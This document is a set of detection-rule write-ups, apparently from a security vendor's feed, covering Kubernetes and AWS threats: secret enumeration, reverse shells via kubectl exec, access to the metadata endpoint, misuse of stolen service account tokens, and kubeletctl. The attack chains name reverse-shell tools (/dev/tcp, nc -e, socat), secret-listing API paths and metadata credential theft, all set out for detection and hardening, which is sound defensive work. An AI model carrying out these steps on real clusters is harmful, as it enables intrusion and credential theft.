The attacker uses the compromised credentials to authenticate to the Kubernetes API.
The attacker sends a series of GET requests to the Kubernetes API, targeting Secret objects.
The API server authenticates and authorizes the requests based on the attacker’s permissions and RBAC configurations.
Successful GET requests return the contents of the Secret objects.
Failed GET requests may reveal RBAC restrictions, namespace details, or secret existence.
The attacker analyzes the retrieved Secrets or error messages to gather sensitive information like credentials or configuration details.
The attacker uses the gathered information to further compromise the cluster or exfiltrate data.

Impact

A successful attack can lead to the compromise of sensitive data stored within Kubernetes Secrets, such as service account tokens, registry credentials, TLS keys, and application configuration. This can result in privilege escalation, lateral movement, and data exfiltration. The rule aims to detect unauthorized access to these resources, preventing attackers from gaining access to critical infrastructure and data. If successful, the attackers could also potentially gain access to connected cloud resources via exposed credentials.

Recommendation

Deploy the Sigma rule Kubernetes Rapid Secret GET Activity to your SIEM and tune for your environment.
Investigate any alerts generated by the Kubernetes Rapid Secret GET Activity Sigma rule, focusing on the Esql.outcome field to determine the success or failure of the requests.
Review RBAC configurations for the identified user accounts and source IPs to identify overly permissive access controls using user.name, source.ip, and Esql.namespaces.
Monitor Kubernetes audit logs for unusual API activity, specifically targeting GET requests to Secret objects using kubernetes.audit.objectRef.resource == "secrets" as a filter.
Implement network segmentation to limit the blast radius of compromised accounts, using source.ip to track connections.

Kubernetes Pod Exec Potential Reverse Shell Activity Detected

hello@craftedsignal.io — Wed, 03 Jan 2024 12:00:00 +0000

This detection identifies attempts to establish reverse shells or bind shells within Kubernetes pods. The rule analyzes Kubernetes audit logs, specifically targeting kubectl exec commands where a user is attempting to execute commands inside a container. By decoding the URL-encoded command parameters and searching for known reverse shell patterns (e.g., usage of /dev/tcp, nc -e, socat), the rule aims to detect unauthorized interactive access and command-and-control activity originating from compromised pods. This activity is often indicative of post-exploitation behavior, where an attacker seeks to gain persistent access to the Kubernetes cluster. The rule is based on the Elastic detection rule released on 2026-04-23. It is critical to investigate these alerts promptly, as successful reverse shell establishment can lead to data exfiltration, lateral movement within the cluster, and further compromise of sensitive resources.

Attack Chain

An attacker gains initial access to a Kubernetes cluster, potentially through a vulnerability in an application running within a pod, or by compromising a user’s credentials.
The attacker uses kubectl exec to execute a command within a target pod. The command is embedded within the requestURI parameter, URL-encoded to evade basic detection.
The requestURI includes the command= parameter, followed by a string containing shell commands designed to initiate a reverse or bind shell.
The malicious command utilizes utilities such as nc, socat, or bash with redirection to /dev/tcp to establish a network connection back to the attacker’s controlled machine.
The reverse shell connects back to the attacker, providing interactive command execution within the compromised pod.
The attacker uses the reverse shell to perform reconnaissance, discover sensitive information, and potentially escalate privileges within the pod.
The attacker might attempt to move laterally to other pods or nodes within the cluster, leveraging stolen credentials or exploiting further vulnerabilities.
The attacker achieves their objective, which may include data exfiltration, deployment of malicious containers, or disruption of services.

Impact

A successful reverse shell attack within a Kubernetes cluster can have severe consequences. Attackers can gain unauthorized access to sensitive data, compromise critical applications, and disrupt services. Lateral movement within the cluster can lead to widespread compromise, potentially affecting numerous pods and nodes. The lack of proper monitoring and alerting for kubectl exec commands can allow attackers to operate undetected for extended periods, increasing the potential for significant damage. The financial impact can range from tens of thousands to millions of dollars, depending on the severity of the breach and the value of the compromised data.

Recommendation

Deploy the “Kubernetes Pod Exec Potential Reverse Shell” Sigma rule to your SIEM and tune for your environment to detect malicious kubectl exec commands.
Enable Kubernetes audit logging to capture kubectl exec events and ensure that the audit logs are ingested into your SIEM.
Implement network policies to restrict outbound connections from pods, limiting the ability of attackers to establish reverse shells.
Monitor Kubernetes audit logs for suspicious user activity, such as unusual API calls or access to sensitive resources.
Regularly review and update RBAC (Role-Based Access Control) policies to minimize the privileges assigned to users and service accounts, reducing the attack surface.
Implement the provided regex pattern in the Sigma rule within your existing detection logic, ensuring adequate coverage of reverse shell attempts.

Kubernetes Pod Exec Cloud Instance Metadata Access

hello@craftedsignal.io — Wed, 03 Jan 2024 12:00:00 +0000

This alert focuses on detecting Kubernetes pod exec sessions that attempt to access cloud instance metadata endpoints. The activity is flagged when the decoded command line of a pod exec session contains references to cloud instance metadata services across AWS, GCP, and Azure. Attackers may exploit this to harvest role credentials, tokens, or instance attributes from the underlying node or hypervisor. This is a high-risk behavior because it can expose short-lived cloud credentials to code running inside a container, particularly concerning in multi-tenant and regulated environments. This detection classifies the cloud target and whether the command indicates credential theft or reconnaissance.

Attack Chain

Attacker gains initial access to a Kubernetes cluster.
Attacker identifies a vulnerable pod within the cluster.
The attacker uses kubectl exec to gain shell access to the pod.
Inside the pod, the attacker crafts a command-line request targeting the cloud instance metadata service (IMDS) endpoint.
The command, often using curl or wget, attempts to retrieve sensitive information such as IAM roles, tokens, or instance attributes.
The IMDS responds with the requested data, which may include credentials or configuration details.
The attacker exfiltrates the stolen credentials or uses them to escalate privileges within the cloud environment.
Attacker uses the harvested credentials to move laterally, compromise other cloud resources, or exfiltrate sensitive data.

Impact

Compromised credentials can lead to unauthorized access to sensitive data, lateral movement within the cloud environment, and potential data exfiltration. A successful attack could impact multiple organizations sharing the same Kubernetes cluster. The impact could include financial losses, reputational damage, and regulatory fines, depending on the type of data compromised and the extent of the breach.

Recommendation

Deploy the Sigma rule Kubernetes Pod Exec IMDS Access to detect suspicious command-line activity within Kubernetes pods.
Block access to the cloud instance metadata endpoints (169.254.169.254) from within Kubernetes pods using network policies.
Regularly review and tighten RBAC permissions related to pods/exec to limit the ability of attackers to gain shell access.
Monitor cloud audit logs for suspicious STS or token issuance events correlated with Kubernetes pod exec events.
Implement workload identity solutions to avoid the need to expose instance metadata to pods.
Baseline approved images and tune exclusions narrowly to avoid false positives.

AWS AssumeRoleWithWebIdentity from Kubernetes SA and External ASN

hello@craftedsignal.io — Wed, 03 Jan 2024 12:00:00 +0000

This detection rule identifies instances of successful AWS AssumeRoleWithWebIdentity calls originating from a Kubernetes service account but not from an Amazon-managed Autonomous System Number (ASN). The primary concern is the potential compromise or misuse of projected service account tokens. Kubernetes service accounts can be mapped to IAM roles through OIDC using IRSA (IAM Roles for Service Accounts). Typically, these credential requests originate from within AWS-managed or associated networks. However, if a request with a Kubernetes service account identity originates from an external ASN (i.e., not Amazon.com, Inc.), it raises suspicion that the token might have been exfiltrated and is being used from an unauthorized location. This rule is designed to highlight such anomalies, prompting further investigation into possible token theft or misconfiguration.

Attack Chain

Attacker gains unauthorized access to a Kubernetes service account token within a compromised pod or through other means.
Attacker exfiltrates the service account token from the Kubernetes cluster.
The attacker uses the exfiltrated token to call the AWS STS AssumeRoleWithWebIdentity API.
The AssumeRoleWithWebIdentity call is made from a network with an ASN organization name that is not Amazon.com, Inc..
AWS CloudTrail logs the successful AssumeRoleWithWebIdentity event, including details about the user, source IP, and ASN organization.
The compromised IAM role is used to perform unauthorized actions within the AWS environment.
These actions could include data exfiltration, resource modification, or further lateral movement within the cloud infrastructure.

Impact

A successful attack of this nature can lead to significant security breaches within an AWS environment. An attacker leveraging stolen service account tokens can gain unauthorized access to sensitive resources, leading to data breaches, service disruption, or financial loss. This is especially concerning for organizations heavily reliant on Kubernetes and AWS, as it can undermine the security of their cloud-native applications and infrastructure. While the number of affected organizations is unknown, the potential impact on those targeted can be severe, leading to substantial remediation costs and reputational damage.

Recommendation

Deploy the Sigma rule AWS AssumeRoleWithWebIdentity from Kubernetes SA and External ASN to your SIEM and tune for your environment.
Investigate any alerts generated by the Sigma rule by following the investigation steps in the rule’s note field.
Expand the source.as.organization.name exclusions in the Sigma rule for known and trusted egress paths if needed.
Enable geolocation/ASN enrichment for your AWS CloudTrail logs to accurately identify the source of AssumeRoleWithWebIdentity calls.
Regularly review and rotate IRSA trust relationships to minimize the impact of compromised service account tokens.
Revoke the role session, rotate IRSA trust where appropriate, investigate token exposure, and reduce service account and role permissions if unauthorized access is suspected.

Potential Kubeletctl Execution on Linux Hosts

hello@craftedsignal.io — Tue, 02 Jan 2024 12:00:00 +0000

The kubeletctl tool simplifies access to Kubelet endpoints, potentially allowing attackers to perform discovery and lateral movement within Kubernetes environments. The tool can be used to enumerate pods and nodes, and attempt actions such as exec/attach/portForward. Attackers may run kubeletctl scan to find reachable Kubelet endpoints, then use pods or exec/attach for follow-on access. This activity is typically observed on Linux hosts within containerized environments. Defenders should monitor for the execution of kubeletctl with suspicious arguments or connections to Kubelet ports (commonly 10250/10255).

Attack Chain

Attacker gains initial access to a compromised host within the Kubernetes environment.
Attacker downloads or transfers the kubeletctl binary to the compromised host.
Attacker executes kubeletctl scan to identify accessible Kubelet API endpoints by scanning for open ports 10250 and 10255.
Attacker uses kubeletctl pods to enumerate running pods on a targeted node based on the scan results.
Attacker leverages kubeletctl exec or kubeletctl attach to gain shell access to a pod.
Attacker uses the compromised pod to move laterally within the Kubernetes cluster, potentially accessing sensitive data or resources.
Attacker may attempt to access Kubernetes credentials, such as service account tokens or kubeconfigs, for further privilege escalation.

Impact

Successful exploitation can allow attackers to enumerate pods and nodes, execute commands within containers, and potentially move laterally within the Kubernetes cluster. This could lead to unauthorized access to sensitive data, resource hijacking, or complete compromise of the Kubernetes environment. The CyberArk research cited in the references describes how kubeletctl can be leveraged to attack Kubernetes clusters.

Recommendation

Deploy the Sigma rule Potential Kubeletctl Execution to detect suspicious execution of the kubeletctl binary on Linux hosts, focusing on command-line arguments such as scan, pods, exec, and attach.
Monitor host and container telemetry for connections to Kubelet ports (10250/10255) using a network connection rule and look for scanning patterns across multiple nodes.
Restrict access to Kubelet ports at the network layer and harden Kubelet authentication/authorization based on the recommendations in the provided references.
Rotate/revoke any exposed Kubernetes credentials (service account tokens, kubeconfigs, client certs) and investigate for follow-on discovery or execution attempts.

Kubernetes Secrets Enumeration from Non-Loopback Client

hello@craftedsignal.io — Tue, 02 Jan 2024 12:00:00 +0000

This detection identifies Kubernetes Secrets listing events originating from non-loopback clients. Attackers may attempt to enumerate Kubernetes Secrets to gain access to sensitive information such as credentials, API keys, and other confidential data stored within the cluster. The rule specifically focuses on requests targeting cluster-wide secrets or list operations under the kube-system or default namespaces, which are often targeted due to their high concentration of sensitive information. This activity is indicative of potential credential access or discovery attempts within the Kubernetes environment. This rule helps defenders identify and respond to potential reconnaissance or lateral movement activities within their Kubernetes clusters.

Attack Chain

An attacker gains initial access to a node within the Kubernetes cluster or a system with access to the Kubernetes API.
The attacker authenticates to the Kubernetes API server using compromised credentials or by exploiting a vulnerability.
The attacker crafts a list request targeting the /api/v1/secrets endpoint to enumerate all secrets in the cluster.
Alternatively, the attacker targets secrets within the kube-system namespace using /api/v1/namespaces/kube-system/secrets or default namespace using /api/v1/namespaces/default/secrets.
The API server responds with a list of secrets, potentially including sensitive information.
The attacker analyzes the retrieved secrets to identify valuable credentials or configuration data.
The attacker uses the acquired credentials to escalate privileges, move laterally within the cluster, or access external resources.

Impact

Successful enumeration of Kubernetes secrets can lead to the compromise of sensitive credentials, allowing attackers to gain unauthorized access to critical systems and data. This can result in data breaches, service disruptions, and significant financial losses. The targeting of kube-system and default namespaces poses a particularly high risk due to the presence of core system components and sensitive configurations.

Recommendation

Deploy the Sigma rule Kubernetes Secrets List in Sensitive Namespaces to your SIEM to detect suspicious secret enumeration activities based on kubernetes.audit.requestURI.
Monitor Kubernetes audit logs (logs-kubernetes.audit_logs-*) for list operations on the secrets resource, specifically targeting /api/v1/secrets and sensitive namespaces.
Implement network policies to restrict access to the Kubernetes API server from untrusted networks.
Review and harden the security configuration of the kube-system and default namespaces.
Enforce the principle of least privilege for service accounts and user access to minimize the impact of credential compromise.
Investigate any alerts generated by the Sigma rule and correlate with other security events to identify potential attacks.